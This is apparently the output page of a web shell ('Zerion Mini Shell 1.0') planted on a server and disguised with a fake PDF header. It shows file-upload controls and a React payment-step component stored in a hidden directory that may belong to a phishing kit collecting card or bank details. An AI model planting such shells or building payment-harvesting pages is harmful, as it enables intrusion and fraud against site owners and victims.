%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.4cc3a2e1590a4463a5f392ddcc26929e/static/js/pages/migration/steps/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.4cc3a2e1590a4463a5f392ddcc26929e/static/js/pages/migration/steps/PaymentStep.js

import React from "react";
import { useSelector } from "react-redux";
import PropTypes from "prop-types";
import { DirectDebitConfirmationStep } from "./DirectDebitConfirmationStep";
import { CreditCardStep } from "./CreditCardStep";
import { migrationData } from "../selectors";

export function PaymentStep({ classes, handleNext }) {
  const { originalMoP } = useSelector(migrationData);

  return (
    <>
      {originalMoP === "DIRECT_DEBIT" && <DirectDebitConfirmationStep classes={classes} handleNext={handleNext} />}
      {(!originalMoP || originalMoP === "PAYPAL") && (
        <CreditCardStep classes={classes} handleNext={handleNext} />
      )}
    </>
  );
}

PaymentStep.propTypes = {
  classes: PropTypes.object.isRequired,
  handleNext: PropTypes.func.isRequired,
};

Zerion Mini Shell 1.0